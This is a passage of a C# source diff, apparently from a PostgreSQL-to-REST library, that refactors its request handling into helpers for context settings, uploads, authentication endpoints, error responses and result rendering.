path parameter name from the template - if (matchedPathParam is not null && context.Request.RouteValues.TryGetValue(matchedPathParam, out var routeValue)) - { - StringValues pathStringValues = routeValue?.ToString() ?? ""; - if (TryParseParameter(parameter, ref pathStringValues, endpoint.QueryStringNullHandling)) - { - parameter.ParamType = ParamType.PathParam; - parameter.QueryStringValues = pathStringValues; + /// + /// The request context as setting names and values: the request headers (request_headers context) and, for + /// user_context endpoints, the client IP address, the claims JSON and the mapped claims. + /// + private static List<(string Key, object? Value)> CollectRequestContext(RequestState s, bool headersContext) + { + var pairs = s.contextPairs ??= new(8); + pairs.Clear(); - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (endpoint.Cached is true && endpoint.CachedParams is not null) - { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } - } + var context = s.context; + var auth = Options.AuthenticationOptions; - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); + if (headersContext) + { + pairs.Add((Options.RequestHeadersContextKey, s.headers)); + } - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } + if (s.endpoint.UserContext is true) + { + var claimsDict = s.claimsDict ??= context.User.BuildClaimsDictionary(auth); - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); - } + if (auth.IpAddressContextKey is not null) + { + pairs.Add((auth.IpAddressContextKey, context.Request.GetClientIpAddressDbParam())); + } + // Every claim context key is set on every user_context request - for anonymous requests to NULL. With + // session-level settings (the batch below, no transaction) and a connection that is not reset on close, + // skipping them for anonymous requests would let an anonymous request run with the previous request's + // user identity. + var isAuthenticated = context.User?.Identity?.IsAuthenticated is true; + if (auth.ClaimsJsonContextKey is not null) + { + pairs.Add((auth.ClaimsJsonContextKey, isAuthenticated ? claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value : DBNull.Value)); + } + foreach (var mapping in auth.ContextKeyClaimsMapping) + { + pairs.Add((mapping.Key, isAuthenticated ? claimsDict!.GetClaimDbContextParam(mapping.Value) : DBNull.Value)); + } + } + return pairs; + } - continue; - } - } - } + /// + /// For a request whose context is sent with its routine: creates the batch that carries both (see + /// RequestContextBatch). Called when the routine is about to run - after PrepareCommand, which gives the command + /// its text and timeout. The batch is disposed with the command (DisposeCommandAsync). + /// + private static NpgsqlBatch CreateContextBatch(RequestState s) => + s.contextBatch = RequestContextBatch.Create( + s.connection!, + s.command, + System.Runtime.InteropServices.CollectionsMarshal.AsSpan(s.contextPairs)); + + /// Upload endpoints: runs the upload handler and passes its metadata to the routine. + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask UploadAsync(RequestState s) + { + var context = s.context; + var cancellationToken = s.cancellationToken; + var endpoint = s.endpoint; + var connection = s.connection!; + var command = s.command; + var uploadHandler = s.uploadHandler; + var transaction = s.transaction; + var customParameters = s.customParameters; + var uploadMetaParamIndex = s.uploadMetaParamIndex; + + object? uploadMetadata = null; + if (endpoint.Upload is true && uploadHandler is not null) + { + if (connection.State != ConnectionState.Open) + { + if (Options.BeforeConnectionOpen is not null) + { + Options.BeforeConnectionOpen(connection, endpoint, context); + } + await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); + } + if (uploadHandler.RequiresTransaction is true && transaction is null) + { + transaction = s.transaction = await connection.BeginTransactionAsync(cancellationToken); + } + uploadMetadata = await uploadHandler.UploadAsync(connection, context, customParameters, cancellationToken); + uploadMetadata ??= DBNull.Value; + if (uploadMetaParamIndex > -1) + { + command.Parameters[uploadMetaParamIndex].Value = uploadMetadata; + } + } - if (queryCollection!.TryGetValue(parameter.ConvertedName, out var qsValue) is false) - { - if (parameter.Value is null) - { - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (parameter.Value is null) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - parameter.Value = DBNull.Value; - } - else if (IsProxyResponseParameter(endpoint, parameter)) - { - // Proxy response parameter - set placeholder value and fall through to add it - parameter.Value = DBNull.Value; - parameter.ParamType = ParamType.QueryString; - } - else if (parameter.TypeDescriptor.HasDefault is false) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } - else if (parameter.DefaultValue is not null) - { - // Explicit default value (SQL file annotation) — bind it - parameter.Value = parameter.DefaultValue; - parameter.ParamType = ParamType.QueryString; - } - else - { - continue; - } - } - } - } + // Set upload metadata context AFTER upload (since it depends on uploadMetadata) + if (Options.UploadOptions.UseDefaultUploadMetadataContextKey && + Options.UploadOptions.DefaultUploadMetadataContextKey is not null && + endpoint.Upload is true && + uploadHandler is not null && + uploadMetadata is not null) + { + if (connection.State != ConnectionState.Open) + { + if (Options.BeforeConnectionOpen is not null) + { + Options.BeforeConnectionOpen(connection, endpoint, context); + } + await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); + } + await using var batch = NpgsqlRestBatch.Create(connection); + var cmd = new NpgsqlBatchCommand(transaction is not null ? Consts.SetContextLocal : Consts.SetContext); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.UploadOptions.DefaultUploadMetadataContextKey)); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(uploadMetadata)); + batch.BatchCommands.Add(cmd); + await batch.ExecuteBatchWithRetryAsync(endpoint.RetryStrategy, cancellationToken); + } + } - if (parameter.Value is null && TryParseParameter(parameter, ref qsValue, endpoint.QueryStringNullHandling) is false) - { - // Check if this is a proxy response parameter - it will be filled in later - if (IsProxyResponseParameter(endpoint, parameter)) - { - parameter.Value = DBNull.Value; - parameter.ParamType = ParamType.QueryString; - // Don't skip - fall through to add the parameter - } - else if (parameter.TypeDescriptor.HasDefault is false) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } - else if (parameter.DefaultValue is not null) - { - parameter.Value = parameter.DefaultValue; - parameter.ParamType = ParamType.QueryString; - } - else - { - continue; - } - } + /// + /// Login, logout and cache invalidation endpoints. Returns true when the routine's result still has to be + /// rendered (a login with SerializeAuthEndpointsResponse), false when the request is finished. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder<>))] + private async ValueTask LoginLogoutOrInvalidateAsync(RequestState s) + { + var context = s.context; + var cancellationToken = s.cancellationToken; + var endpoint = s.endpoint; + var connection = s.connection!; + var command = s.command; + var commandText = s.commandText!; + var shouldLog = s.shouldLog; + var cmdLog = s.cmdLog; + var resolvedCache = s.resolvedCache; + var cacheKeys = s.cacheKeys; + + if (endpoint.Login is true) + { + if (await PrepareCommand(connection, command, commandText, context, endpoint, false, cancellationToken) is false) + { + return false; + } + if (shouldLog) + { + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); + } + await LoginHandler.HandleAsync( + command, + context, + endpoint.RetryStrategy, + cancellationToken, + tracePath: context.Request.Path.ToString(), + performHashVerification: true, + assignUserPrincipalToContext: false); + + if (context.Response.HasStarted is true || + Options.AuthenticationOptions.SerializeAuthEndpointsResponse is false) + { + return false; + } + } - parameter.ParamType = ParamType.QueryString; - parameter.QueryStringValues = qsValue; - if (Options.ValidateParameters is not null) + if (endpoint.Logout is true) + { + if (await PrepareCommand(connection, command, commandText, context, endpoint, true, cancellationToken) is false) + { + return false; + } + if (shouldLog) + { + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); + } + await LogoutHandler.HandleAsync(command, endpoint, context, cancellationToken); + return false; + } + + // Handle cache invalidation endpoint. Routes through the endpoint's resolved cache (profile or root), + // never bypassed by When rules — invalidation must always work on demand. + if (endpoint.InvalidateCache is true && resolvedCache is not null && cacheKeys is not null) + { + var cacheKey = cacheKeys.ToString(); + var removed = resolvedCache.Remove(cacheKey); + context.Response.ContentType = "application/json"; + context.Response.StatusCode = (int)HttpStatusCode.OK; + await context.Response.WriteAsync(removed ? "{\"invalidated\":true}" : "{\"invalidated\":false}", cancellationToken); + if (shouldLog) + { + cmdLog?.AppendLine($"/* cache invalidation: {(removed ? "removed" : "not found")} */"); + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", $"INVALIDATE CACHE KEY: {cacheKey}"); + } + return false; + } + + return true; + } + + /// + /// A request failed: writes the error response (when nothing was sent yet), notifies the upload handler and logs. + /// + private async Task HandleExceptionAsync(RequestState s, Exception exception) + { + // The command was disposed before the error was handled when it was an `await using` local. + await DisposeCommandAsync(s); + + var context = s.context; + var endpoint = s.endpoint; + var uploadHandler = s.uploadHandler; + var connection = s.connection; + var shouldLog = s.shouldLog; + var cmdLog = s.cmdLog; + var commandText = s.commandText; + + if (exception is NpgsqlToHttpException npgsqlToHttpException) + { + if (context.Response.HasStarted is false) + { + await Results.Problem( + type: npgsqlToHttpException.Mapping.Type, + statusCode: npgsqlToHttpException.Mapping.StatusCode, + title: npgsqlToHttpException.Mapping.Title ?? exception.Message, + detail: npgsqlToHttpException.SqlState).ExecuteAsync(context); + } + else + { + context.Response.StatusCode = npgsqlToHttpException.Mapping.StatusCode; + } + } + else if (exception is PostgresException postgresEx) + { + // An error raised by PostgreSQL (RAISE EXCEPTION, constraint violations, ...): its message is part of + // the routine's contract with the client. + if (context.Response.HasStarted is false) + { + await Results.Problem( + type: null, + statusCode: 500, + title: postgresEx.Message, + detail: postgresEx.SqlState).ExecuteAsync(context); + } + else + { + context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; + } + } + else if (exception is NpgsqlException) + { + // A client-side Npgsql failure (connection, timeout, I/O): its message describes the infrastructure + // (hosts, ports, pool state) and is logged below, not returned. + if (context.Response.HasStarted is false) + { + await Results.Problem( + type: null, + statusCode: 500, + title: "Internal Server Error", + detail: null).ExecuteAsync(context); + } + else + { + context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; + } + } + else + { + if (context.Response.HasStarted is false) + { + // The exception message is logged below, not returned: it describes server internals. + await Results.Problem( + type: null, // remove RFC URL + statusCode: 500, + title: "Internal Server Error", + detail: null).ExecuteAsync(context); + } + else + { + context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; + } + } + + if (endpoint.Upload is true) + { + uploadHandler?.OnError(connection, context, exception); + } + + if (context.Response.StatusCode == 400) + { + if (shouldLog && cmdLog is not null) + { + Logger?.LogWarning("Client error (400) executing command: {commandText} mapped to endpoint: {Url}: {message}{NewLine}{cmdLog}", commandText, endpoint.Path, exception.Message, Environment.NewLine, cmdLog.ToString()); + } + else + { + Logger?.LogWarning("Client error (400) executing command: {commandText} mapped to endpoint: {Url}: {message}", commandText, endpoint.Path, exception.Message); + } + } + else if (context.Response.StatusCode != 200 && context.Response.StatusCode != 205) + { + if (shouldLog && cmdLog is not null) + { + Logger?.LogError(exception, "Error executing command: {commandText} mapped to endpoint: {Url}{NewLine}{cmdLog}", commandText, endpoint.Path, Environment.NewLine, cmdLog.ToString()); + } + else + { + Logger?.LogError(exception, "Error executing command: {commandText} mapped to endpoint: {Url}", commandText, endpoint.Path); + } + } + } + + /// + /// The end of every request: completes the response (and proxy_out), commits the transaction, detaches the notice + /// handler, disposes the connection and returns the pooled builders. + /// + private async Task CompleteRequestAsync(RequestState s) + { + await DisposeCommandAsync(s); + + var writer = s.writer; + var proxyOutBuffer = s.proxyOutBuffer; + var proxyOutOriginalBody = s.proxyOutOriginalBody; + var context = s.context; + var endpoint = s.endpoint; + var cancellationToken = s.cancellationToken; + var transaction = s.transaction; + var connection = s.connection; + var shouldCommit = s.shouldCommit; + var noticeHandler = s.noticeHandler; + var shouldDispose = s.shouldDispose; + var cmdLog = s.cmdLog; + var cacheKeys = s.cacheKeys; + var commandTextBuilder = s.commandTextBuilder; + + await writer.CompleteAsync(); + + // proxy_out: capture buffered function output and forward to upstream proxy + if (proxyOutBuffer is not null && proxyOutOriginalBody is not null) + { + try + { + // Only forward to proxy if the function executed successfully (no error status) + if (context.Response.StatusCode >= 200 && context.Response.StatusCode < 400) + { + // Extract bytes directly — avoid string allocation and double UTF-8 conversion + var functionBodyBytes = proxyOutBuffer.Length > 0 + ? proxyOutBuffer.ToArray() + : []; + + // Restore original response body and reset response state + context.Response.Body = proxyOutOriginalBody; + context.Response.Headers.Clear(); + context.Response.StatusCode = 200; + + var proxyResponse = await Proxy.ProxyRequestHandler.InvokeOutAsync( + context, endpoint, functionBodyBytes, cancellationToken); + await Proxy.ProxyRequestHandler.WriteResponseAsync( + context, proxyResponse, Options.ProxyOptions, cancellationToken); + } + else + { + // Function errored — restore original body and copy error content through + proxyOutBuffer.Position = 0; + context.Response.Body = proxyOutOriginalBody; + await proxyOutBuffer.CopyToAsync(proxyOutOriginalBody, cancellationToken); + } + } + finally + { + proxyOutBuffer.Dispose(); + } + } + + await context.Response.CompleteAsync(); + if (transaction is not null) + { + if (connection is not null && connection.State == ConnectionState.Open) + { + if (shouldCommit) + { + await transaction.CommitAsync(cancellationToken); + } + } + } + // Detach the per-request notice handler so it can't accumulate (and re-log) on a reused + // connection that this request did not dispose. + if (connection is not null && noticeHandler is not null) + { + connection.Notice -= noticeHandler; + } + if (connection is not null && shouldDispose is true) + { + await connection.DisposeAsync(); + } + + // Return pooled StringBuilders + if (cmdLog is not null) + { + StringBuilderPool.Return(cmdLog); + } + if (cacheKeys is not null) + { + StringBuilderPool.Return(cacheKeys); + } + if (commandTextBuilder is not null) + { + StringBuilderPool.Return(commandTextBuilder); + } + } + + private static ValueTask DisposeCommandAsync(RequestState s) + { + var contextBatch = s.contextBatch; + if (contextBatch is not null) + { + s.contextBatch = null; + contextBatch.Dispose(); + } + var command = s.command; + if (command is null) + { + return default; + } + s.command = null!; + return command.DisposeAsync(); + } + + /// + /// Multi-command routines (SQL files with several statements): executes each statement and writes one JSON object + /// with a property per statement. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask RenderMultiCommandAsync(RequestState s) + { + var context = s.context; + var endpoint = s.endpoint; + var routine = s.routine; + var connection = s.connection!; + var command = s.command; + var writer = s.writer; + var cmdLog = s.cmdLog; + var shouldLog = s.shouldLog; + var cancellationToken = s.cancellationToken; + + // The request's row renderer; non-null only while a statement's rows are being rendered. + RowRenderer? mcRenderer = null; + try + { + var multiCommandInfo = routine.MultiCommandInfo!; // checked by the caller + await OpenConnectionAsync(connection, context, endpoint, cancellationToken); + + if (shouldLog) + { + if (routine.LogCommandText) + { + var allSql = string.Join(";\n", multiCommandInfo.Select(c => c.Statement)); + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", allSql); + } + else + { + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", + string.Concat(routine.SimpleDefinition, " (", multiCommandInfo.Length.ToString(), " statements)")); + } + } + + // Void multi-command: execute all statements, return 204 + if (endpoint.Void) + { + for (int cmdIndex = 0; cmdIndex < multiCommandInfo.Length; cmdIndex++) + { + var currentCmd = multiCommandInfo[cmdIndex]; + await using var mcCmd = new NpgsqlCommand(currentCmd.Statement, connection); + if (endpoint.CommandTimeout.HasValue) { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } + mcCmd.CommandTimeout = ToCommandTimeoutSeconds(endpoint.CommandTimeout.Value); } - if (Options.ValidateParametersAsync is not null) + for (int pi = 0; pi < Math.Min(currentCmd.ParamCount, command.Parameters.Count); pi++) { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) + var srcParam = command.Parameters[pi]; + mcCmd.Parameters.Add(new NpgsqlParameter { - return; - } + NpgsqlDbType = srcParam.NpgsqlDbType, + Value = srcParam.Value ?? DBNull.Value + }); } - if (endpoint.Cached is true && endpoint.CachedParams is not null) + await mcCmd.ExecuteNonQueryWithRetryAsync( + endpoint.RetryStrategy, + cancellationToken, + errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + } + context.Response.StatusCode = (int)HttpStatusCode.NoContent; + return; + } + + context.Response.ContentType = Application.Json; + + // Write opening { + writer.Write(Consts.Utf8OpenBrace); + + bool firstResultWritten = false; + for (int cmdIndex = 0; cmdIndex < multiCommandInfo.Length; cmdIndex++) + { + var currentCmd = multiCommandInfo[cmdIndex]; + + // Build a command for this statement + await using var mcCmd = new NpgsqlCommand(currentCmd.Statement, connection); + if (endpoint.CommandTimeout.HasValue) + { + mcCmd.CommandTimeout = ToCommandTimeoutSeconds(endpoint.CommandTimeout.Value); + } + // Bind parameters that this statement uses + for (int pi = 0; pi < Math.Min(currentCmd.ParamCount, command.Parameters.Count); pi++) + { + var srcParam = command.Parameters[pi]; + mcCmd.Parameters.Add(new NpgsqlParameter { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } + NpgsqlDbType = srcParam.NpgsqlDbType, + Value = srcParam.Value ?? DBNull.Value + }); + } + + // Skipped commands: execute for side effects, no result key + if (currentCmd.IsSkipped) + { + await mcCmd.ExecuteNonQueryWithRetryAsync( + endpoint.RetryStrategy, + cancellationToken, + errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + continue; + } + + // Write comma between results + if (firstResultWritten) + { + writer.Write(Consts.Utf8Comma); + } + firstResultWritten = true; + + // Write "resultName": + var keyJson = string.Concat(currentCmd.JsonName, ":"); + writer.Advance(Encoding.UTF8.GetBytes(keyJson.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(keyJson.Length)))); + + if (currentCmd.ColumnCount == 0) + { + // Void command — execute and write rows affected count + var rowsAffected = await mcCmd.ExecuteNonQueryWithRetryAsync( + endpoint.RetryStrategy, + cancellationToken, + errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + var rowsStr = rowsAffected.ToString(); + writer.Advance(Encoding.UTF8.GetBytes(rowsStr.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(rowsStr.Length)))); + } + else + { + // Query command — read result set as JSON array (or object if @single) + // AllResultTypesAreUnknown forces all values to string — same as single-command path + mcCmd.AllResultTypesAreUnknown = true; + await using var mcReader = await mcCmd.ExecuteReaderWithRetryAsync( + endpoint.RetryStrategy, + cancellationToken, + errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + + if (!currentCmd.IsSingle) + { + writer.Write(Consts.Utf8OpenBracket); } + bool mcFirstRow = true; + var mcBufferRows = endpoint.BufferRows ?? Options.BufferRows; + var mcResponseBufferBytes = Options.ResponseBufferBytes; + ulong mcRowCount = 0; - if (Options.HttpClientOptions.Enabled) + // Note: response caching for multi-command is not yet supported + // (cache key infrastructure is in the single-command path) + + // Nested composite column support (per-command) + Dictionary? mcNestedMap = null; + if (endpoint.NestedJsonForCompositeTypes == true && routine.CompositeColumnInfo is not null) { - if (parameter.TypeDescriptor.CustomType is not null) + mcNestedMap = new(); + foreach (var (_, ci) in routine.CompositeColumnInfo) { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) + var indices = ci.ExpandedColumnIndices; + for (int fi = 0; fi < indices.Length; fi++) { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); + if (indices[fi] < currentCmd.ColumnCount) + { + mcNestedMap[indices[fi]] = (ci.ConvertedColumnName, ci.FieldNames[fi], fi == 0, fi == indices.Length - 1, indices.Length, PgConverters.SerializeString(ci.ConvertedColumnName), PgConverters.SerializeString(ci.FieldNames[fi])); + } } } + if (mcNestedMap.Count == 0) mcNestedMap = null; } - command.Parameters.Add(parameter); + // Rows are rendered as UTF-8 by the same renderer as single-statement results. + mcRenderer = s.rowRenderer ??= new RowRenderer(); + mcRenderer.Init(mcReader, routine, endpoint, connection); + mcRenderer.Configure(currentCmd.ColumnNames, currentCmd.JsonColumnNames, currentCmd.ColumnTypeDescriptors, + currentCmd.ColumnCount, mcNestedMap, hiddenColumnIndex: -1, currentCmd.ReturnsUnnamedSet, raw: false); + var mcRow = mcRenderer.Row; - if (hasNulls is false && parameter.Value == DBNull.Value) + while (await mcReader.ReadAsync(cancellationToken)) { - hasNulls = true; - } + mcRowCount++; + if (!mcFirstRow) + { + mcRow.Append(Consts.Comma); + } + mcFirstRow = false; - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) + mcRenderer.AppendRow(); + + if (currentCmd.IsSingle) { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } + break; } - else + + // The same rule as for single-statement results: 0 = send every row, 1 = buffer all rows, + // N = every N rows, send what is collected once it is at least ResponseBufferBytes. + // (Rows that were sent used to stay in the buffer here, so a statement returning more than + // BufferRows rows repeated them in the response.) + if (mcBufferRows == 0 || + (mcBufferRows != 1 && mcRowCount % mcBufferRows == 0 && mcRow.Length >= mcResponseBufferBytes)) { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); + writer.Write(mcRow.WrittenSpan); + await writer.FlushAsync(cancellationToken); + mcRow.Clear(); } } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) + + if (currentCmd.IsSingle && mcRowCount == 0) { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); + // Empty result with @single — write null + writer.Write(Consts.Utf8Null); } - } - // Skip query string validation for passthrough proxy endpoints - query will be forwarded as-is - if (!(endpoint.IsProxy && Options.ProxyOptions.Enabled && !endpoint.HasProxyResponseParameters)) - { - foreach (var queryKey in queryCollection!.Keys) + if (mcRow.Length > 0) { - if (routine.ParamsHash.Contains(queryKey) is false) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } + writer.Write(mcRow.WrittenSpan); + } + mcRenderer.Release(); + mcRenderer = null; + + if (!currentCmd.IsSingle) + { + writer.Write(Consts.Utf8CloseBracket); } } - } // end of query string parameters - // start json body parameters - else if (endpoint.RequestParamType == RequestParamType.BodyJson) + } + + // Write closing } + writer.Write(Consts.Utf8CloseBrace); + await writer.FlushAsync(cancellationToken); + } + finally + { + mcRenderer?.Release(); + } + } + + /// Void routines: executes the command and answers 204 No Content. + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask RenderVoidAsync(RequestState s) + { + if (await PrepareCommand(s.connection!, s.command, s.commandText!, s.context, s.endpoint, true, s.cancellationToken) is false) + { + return; + } + if (s.shouldLog) + { + NpgsqlRestLogger.LogEndpoint(s.endpoint, s.cmdLog?.ToString() ?? "", s.command.CommandText); + } + // The first attempt is made here rather than in the retrying method, so that one async method less waits on + // the database with every request. If it fails, the retrying method takes over and handles the failure + // exactly as if it had made the attempt itself (error mapping, retries, logging). + if (s.contextWithRoutine) + { + CreateContextBatch(s); + } + try + { + if (s.contextBatch is { } contextBatch) + { + // the request context and the routine, in one round trip (see RequestContextBatch) + await contextBatch.ExecuteNonQueryAsync(s.cancellationToken); + } + else { - // Early-return guard: bodyDict is non-null for the rest of this block (later - // dereferences use `!` where the compiler's flow analysis loses the narrowing). - if (bodyDict is null) + await s.command.ExecuteNonQueryAsync(s.cancellationToken); + } + } + catch (Exception firstFailure) when (Retries(s.endpoint)) + { + await s.command.ExecuteNonQueryAfterFailureAsync( + firstFailure, + s.endpoint.RetryStrategy!, + s.cancellationToken, + s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy, + s.contextBatch); + } + s.context.Response.StatusCode = (int)HttpStatusCode.NoContent; + } + + private static bool Retries(RoutineEndpoint endpoint) => endpoint.RetryStrategy is { RetrySequenceSeconds.Length: > 0 }; + + // Scalar values larger than this are sent in pieces of this size (each flushed), so a large value is not copied + // into the response buffers all at once. + private const int ScalarChunkBytes = 64 * 1024; + + /// + /// A routine returning a single value (not cached). This method waits for the database and keeps nothing but the + /// request state alive while it does; then reads and writes the value. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask RenderScalarAsync(RequestState s) + { + if (await PrepareCommand(s.connection!, s.command, s.commandText!, s.context, s.endpoint, true, s.cancellationToken) is false) + { + return; + } + + // The first attempt is made here (see RenderVoidAsync). + if (Retries(s.endpoint)) + { + s.cancellationToken.ThrowIfCancellationRequested(); + } + if (s.contextWithRoutine) + { + CreateContextBatch(s); + } + NpgsqlDataReader reader; + try + { + if (s.contextBatch is { } contextBatch) + { + // The request context and the routine, in one round trip (see RequestContextBatch). The first result + // is the context statement's; the routine's result - and its errors - come next, so moving there is + // part of the attempt. + reader = await contextBatch.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + await NpgsqlRetryExtensions.SkipContextResultAsync(reader, s.cancellationToken); + } + else + { + reader = await s.command.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + } + } + catch (Exception firstFailure) when (Retries(s.endpoint)) + { + reader = await s.command.ExecuteReaderAfterFailureAsync( + firstFailure, + CommandBehavior.SequentialAccess, + s.endpoint.RetryStrategy!, + s.cancellationToken, + s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy, + s.contextBatch); + } + await WriteScalarAsync(s, reader); + } + + /// + /// Reads the single value from the reader, closes the reader, and writes the value. Text values - notably json - + /// go from the reader to the response as UTF-8 bytes and never become a string: a 1 MB json document used to be a + /// 2 MB UTF-16 string, encoded back through a 3 MB buffer. The value is read completely and the reader closed + /// before anything is written, so an error that PostgreSQL reports after the row (a deferred constraint, for + /// example) still produces an error response. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask WriteScalarAsync(RequestState s, NpgsqlDataReader reader) + { + TypeDescriptor descriptor; + bool asUtf8; + byte[]? utf8 = null; // rented + int utf8Length = 0; + object? valueResult = null; + try + { + await using (reader) + { + if (s.shouldLog) + { + NpgsqlRestLogger.LogEndpoint(s.endpoint, s.cmdLog?.ToString() ?? "", s.command.CommandText); + } + if (await reader.ReadAsync(s.cancellationToken) is false) { - // Body was present but is not a parseable JSON object - this is a client error, - // not a routing miss (parse failures are logged above via CouldNotParseJson). - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status400BadRequest; - await context.Response.CompleteAsync(); + Logger?.CouldNotReadCommand(s.command.CommandText, s.context.Request.Method, s.context.Request.Path); + s.context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; return; } - - // Account for path parameters when counting body parameters - var pathParamCount = endpoint.PathParameters?.Length ?? 0; - var expectedBodyParamCount = routine.ParamCount - pathParamCount; - if (bodyDict.Count != expectedBodyParamCount && overloads.Count > 0) + descriptor = s.routine.ColumnsTypeDescriptor[0]; + // UTF-8 bytes straight from the reader, unless the value is binary or must be decrypted (that needs + // the string). + asUtf8 = descriptor.IsBinary is false && + (Options.AuthenticationOptions.DefaultDataProtector is null || + (s.endpoint.DecryptAllColumns is false && 